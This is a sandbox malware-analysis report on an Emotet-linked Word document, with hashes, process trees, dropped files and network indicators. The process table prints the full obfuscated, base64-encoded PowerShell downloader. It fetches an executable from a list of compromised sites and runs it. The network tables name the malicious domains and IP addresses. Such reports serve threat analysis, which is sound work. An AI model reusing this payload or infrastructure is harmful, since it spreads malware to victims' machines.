| File name: | Form.doc |
| Full analysis: | https://app.any.run/tasks/429b8cb7-2d4c-4db7-9219-a54e4d7e8696 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | October 20, 2020, 04:27:20 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Et., Author: Malle Marie, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Oct 19 18:04:00 2020, Last Saved Time/Date: Mon Oct 19 18:04:00 2020, Number of Pages: 1, Number of Words: 1646, Number of Characters: 9385, Security: 8 |
| MD5: | 34CFE64D2DF277154A12B63C30B6358A |
| SHA1: | 54B68F06D0CA211032562EEFDD309DE643D4546B |
| SHA256: | 528F1B4F95DD84158A1514661E0CEBF5032EE7F790E6731C5031C1DD499023BA |
| SSDEEP: | 3072:qJivKie6B/w2yiWydwcjTaBB9Sd+l4PJhERTM5/oKUQ2t12SxIOWpdPfwjR39u:qJiP/w2PFTaBB9Sd+l4PJhERTM5/oKUa |
MALICIOUS
No malicious indicators.SUSPICIOUS
PowerShell script executed
- POwersheLL.exe (PID: 2980)
Executed via WMI
- POwersheLL.exe (PID: 2980)
Creates files in the user directory
- POwersheLL.exe (PID: 2980)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 1968)
Reads settings of System Certificates
- POwersheLL.exe (PID: 2980)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1968)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Et. |
|---|---|
| Subject: | - |
| Author: | Maëlle Marie |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:10:19 17:04:00 |
| ModifyDate: | 2020:10:19 17:04:00 |
| Pages: | 1 |
| Words: | 1646 |
| Characters: | 9385 |
| Security: | Locked for annotations |
| Company: | - |
| Lines: | 78 |
| Paragraphs: | 22 |
| CharCountWithSpaces: | 11009 |
| AppVersion: | 15 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CodePage: | Unicode UTF-16, little endian |
| LocaleIndicator: | 1033 |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
40
Monitored processes
2
Malicious processes
0
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1968 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Form.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2980 | POwersheLL -ENCOD IAAgACQANgBwAEsAOQA0AFoAIAA9ACAAIABbAFQAeQBQAGUAXQAoACcAUwB5AFMAdABlAE0AJwArACcALgAnACsAJwBJAG8AJwArACcALgBEAGkAJwArACcAcgBFAEMAJwArACcAVABPAFIAWQAnACkAIAAgADsAcwBlAFQAIAAoACcAbQBaACcAKwAnAGQAYwBhACcAKQAgACgAIABbAFQAWQBQAEUAXQAoACcAcwB5AHMAVABlACcAKwAnAE0ALgBuACcAKwAnAGUAJwArACcAdAAuACcAKwAnAFMARQByAFYAaQAnACsAJwBDAEUAJwArACcAcABvAEkAbgB0AG0AJwArACcAQQBuACcAKwAnAEEAZwBlAHIAJwApACkAIAA7ACAAJABSAHcAMgBRAD0AIABbAFQAeQBQAEUAXQAoACcAcwBZAFMAJwArACcAdABFAE0ALgBuAEUAdAAuACcAKwAnAFMAZQBDAHUAcgAnACsAJwBJAFQAeQBQACcAKwAnAHIAJwArACcATwBUACcAKwAnAG8AYwAnACsAJwBPAEwAVAB5AFAAZQAnACkAIAAgADsAIAAgACQAUgBvAGwAMgBpAGUAYQA9ACgAJwBVACcAKwAnAHEAJwArACcAcwAyAG0AZgBfACcAKQA7ACQARAA2ADcAZwAyAHoAcAA9ACQAUQB0ADcANgB2ADUAMgAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAE8AMwBpAHEAegBwAHEAOwAkAEgAZABzAG0AbgB5AHYAPQAoACcAQgAnACsAJwB2AGEAcwA2ACcAKwAnADIAOAAnACkAOwAgACAAJAA2AFAAawA5ADQAWgA6ADoAQwBSAGUAQQBUAGUARABJAFIAZQBjAHQAbwByAFkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHsAMAB9AFUAYwAnACsAJwBqADQAOQBtAHMAewAwAH0AWABzACcAKwAnAGkAJwArACcAOABsADgAdQB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgBbAEMASABBAFIAXQA5ADIAKQApADsAJABOADAAawAzAGIAMQBoAD0AKAAnAFIAJwArACcAaABoAHIAJwArACcAOAB1AGEAJwApADsAIAAoACAAIABHAEUAdAAtAHYAQQBSAGkAQQBCAEwAZQAgACgAJwBtAHoAJwArACcAZABDAEEAJwApACAAKQAuAFYAQQBMAFUAZQA6ADoAcwBFAGMAVQByAGkAdABZAFAAcgBvAFQATwBjAE8AbAAgAD0AIAAgACgAIABHAGUAdAAtAFYAQQByAGkAQQBiAGwAZQAgACAAUgBXADIAcQApAC4AdgBhAEwAdQBFADoAOgB0AGwAUwAxADIAOwAkAFoAawByAGoAeQB5ADcAPQAoACcAWQBoADQAXwAnACsAJwA0AGoAagAnACkAOwAkAEwAYwBhAGUAMAA4AG0AIAA9ACAAKAAnAFcAJwArACcAcgAwADEAZQB5AGcAdgA3ACcAKQA7ACQAUgBnAHIAZQAzAHMAdgA9ACgAJwBOAHYAawAnACsAJwB4AGQAJwArACcANgBkACcAKQA7ACQAVwA2ADkAaABjAG8AMAA9ACgAJwBQACcAKwAnAHAAdwBrAGkAJwArACcAbABkACcAKQA7ACQAWQBiAG4AeQA5ADUAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB0AFMAJwArACcAQgBVAGMAagAnACsAJwA0ACcAKwAnADkAbQBzAHQAJwArACcAUwBCAFgAcwBpACcAKwAnADgAbAA4AHUAdAAnACsAJwBTAEIAJwApAC0AYwBSAGUAUABsAEEAQwBlACAAKABbAGMASABhAFIAXQAxADEANgArAFsAYwBIAGEAUgBdADgAMwArAFsAYwBIAGEAUgBdADYANgApACwAWwBjAEgAYQBSAF0AOQAyACkAKwAkAEwAYwBhAGUAMAA4AG0AKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAEoAYQBfADEAcwA1AHAAPQAoACcATABlADIAegB0ACcAKwAnAGkAJwArACcAbwAnACkAOwAkAE0AaABoAGcAMAB5AHYAPQBOAGUAYABXAC0AbwBiAEoAZQBgAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBMAEkARQBOAHQAOwAkAFEAawBkADMANQBqAGkAPQAoACcAaAB0ACcAKwAnAHQAcABzADoALwAvAHoAYQBrAGEAcgBpAGEAYgBlAGsALgBjACcAKwAnAG8AJwArACcAbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAvAG8AYwB3AEwALwAnACsAJwAqAGgAJwArACcAdAB0AHAAJwArACcAcwAnACsAJwA6AC8AJwArACcALwBvACcAKwAnAHoAbwBuAGUAcgAnACsAJwBlAG4AJwArACcAbwB2AGEAdABlAHIAcwAuAGMAbwAuAHoAJwArACcAYQAvAHcAcAAtAGEAZABtAGkAbgAvAFYAJwArACcAYQB4AFUAZwAvACcAKwAnACoAaAB0AHQAcABzACcAKwAnADoALwAvAHMAZQB6AGEAcgAnACsAJwBkAC4AJwArACcAYwBvACcAKwAnAG0AJwArACcALwB3AG8AcgBkAHAAcgBlAHMAJwArACcAcwAvAFQAdgAnACsAJwBpAEoAJwArACcAdgBFAC8AKgBoAHQAdABwADoALwAnACsAJwAvAG0AYQAnACsAJwBuAHQAYQBzAHAAZQBzAGEAZAAnACsAJwBhACcAKwAnAHMALgAnACsAJwBjACcAKwAnAG8AbQAnACsAJwAvAHcAJwArACcAcAAtAGkAbgBjAGwAdQAnACsAJwBkAGUAcwAvAGEAZwBWACcAKwAnAC8AKgAnACsAJwBoAHQAdABwAHMAOgAvAC8AJwArACcAZQB0AGsAaQBuAGQAZQBkACcAKwAnAGUAawB0AGkAZgBsAGkAJwArACcAawAnACsAJwAuACcAKwAnAGMAbwBtAC8AJwArACcAdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuACcAKwAnAC8ARAAnACsAJwBuAFYAJwArACcAMQAvACoAaAAnACsAJwB0AHQAcAA6AC8AJwArACcALwByACcAKwAnAG8AJwArACcAeQAnACsAJwBhAGwAOAA4ADgAYgBlAHQAJwArACcALgBjAG8AbQAvAHcAcAAtACcAKwAnAGEAJwArACcAZABtAGkAbgAvAEwASABKAC8AKgBoAHQAdAAnACsAJwBwADoAJwArACcALwAnACsAJwAvACcAKwAnAHQAdABiAGUAdAAuACcAKwAnAGMAbwAvAHcAcAAtAGEAZAAnACsAJwBtAGkAbgAnACsAJwAvADcANwAnACsAJwBRADMAMAAvACcAKwAnACoAaAB0AHQAcABzADoALwAvAGEAaABpACcAKwAnAG0AaQBuAHMAdABvAHIAZQAnACsAJwAuAGMAbwBtACcAKwAnAC8AYwBnAGkALQBiAGkAJwArACcAbgAnACsAJwAvACcAKwAnAFkASQAvACcAKQAuAFMAUABsAEkAVAAoACQAUQA0ADUAbQB4AHkAdQAgACsAIAAkAEQANgA3AGcAMgB6AHAAIAArACAAJABGAGMAdABuADcAawBxACkAOwAkAE0AbwBrAGMANgBuADUAPQAoACcATAB4ACcAKwAnADQAJwArACcAOQB5AGoANwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAAZABoAHgAdwBpAG0AIABpAG4AIAAkAFEAawBkADMANQBqAGkAKQB7AHQAcgB5AHsAJABNAGgAaABnADAAeQB2AC4ARABPAFcAbgBsAG8AQQBkAEYASQBsAEUAKAAkAFAAZABoAHgAdwBpAG0ALAAgACQAWQBiAG4AeQA5ADUAdwApADsAJABBAHMAeQBwAHMAMgBqAD0AKAAnAE0AMQBzAHAAJwArACcAawBiACcAKwAnAHAAJwApADsASQBmACAAKAAoAEcAYABlAGAAVAAtAGkAVABlAG0AIAAkAFkAYgBuAHkAOQA1AHcAKQAuAEwARQBOAEcAVABIACAALQBnAGUAIAAyADUAOAAxADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAbgAnACsAJwAzADIAXwBQAHIAJwArACcAbwAnACsAJwBjAGUAJwArACcAcwBzACcAKQApAC4AYwBSAGUAQQBUAGUAKAAkAFkAYgBuAHkAOQA1AHcAKQA7ACQATgBoAGUAMABtAGoAagA9ACgAJwBVADgAYQA3ACcAKwAnAHgAdwAwACcAKQA7AGIAcgBlAGEAawA7ACQARABuAG8AeABhADEAMQA9ACgAJwBPACcAKwAnAHcAZQA3AHAAMgBvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBpAGUAYgAyAHAAeQA9ACgAJwBLAHEAegA2AGkAJwArACcANQA1ACcAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
2 028
Read events
1 140
Write events
704
Delete events
184
Modification events
| (PID) Process: | (1968) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | &o2 |
Value: 266F3200B0070000010000000000000000000000 | |||
| (PID) Process: | (1968) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (1968) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (1968) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (1968) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (1968) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (1968) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (1968) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (1968) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (1968) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
0
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1968 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR4386.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2980 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5P2MGIY81SRF2XL7BG2J.temp | — | |
MD5:— | SHA256:— | |||
| 2980 | POwersheLL.exe | C:\Users\admin\Ucj49ms\Xsi8l8u\Wr01eygv7.exe | — | |
MD5:— | SHA256:— | |||
| 2980 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d4f2e.TMP | binary | |
MD5:— | SHA256:— | |||
| 1968 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$Form.doc | pgc | |
MD5:— | SHA256:— | |||
| 2980 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 1968 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 1968 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
6
DNS requests
5
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2980 | POwersheLL.exe | GET | — | 31.200.247.37:80 | http://newtabletmall.com/ | ES | — | — | malicious |
2980 | POwersheLL.exe | GET | 301 | 34.216.212.23:80 | http://mantaspesadas.com/wp-includes/agV/ | US | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2980 | POwersheLL.exe | 102.130.115.168:443 | ozonerenovaters.co.za | — | — | unknown |
2980 | POwersheLL.exe | 185.245.99.2:443 | zakariabek.com | — | — | malicious |
2980 | POwersheLL.exe | 34.216.212.23:80 | mantaspesadas.com | Amazon.com, Inc. | US | unknown |
2980 | POwersheLL.exe | 31.200.247.37:80 | newtabletmall.com | Unelink Telecom, S.A. | ES | suspicious |
2980 | POwersheLL.exe | 104.18.50.76:443 | sezard.com | Cloudflare Inc | US | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
zakariabek.com |
| suspicious |
ozonerenovaters.co.za |
| unknown |
sezard.com |
| malicious |
mantaspesadas.com |
| unknown |
newtabletmall.com |
| malicious |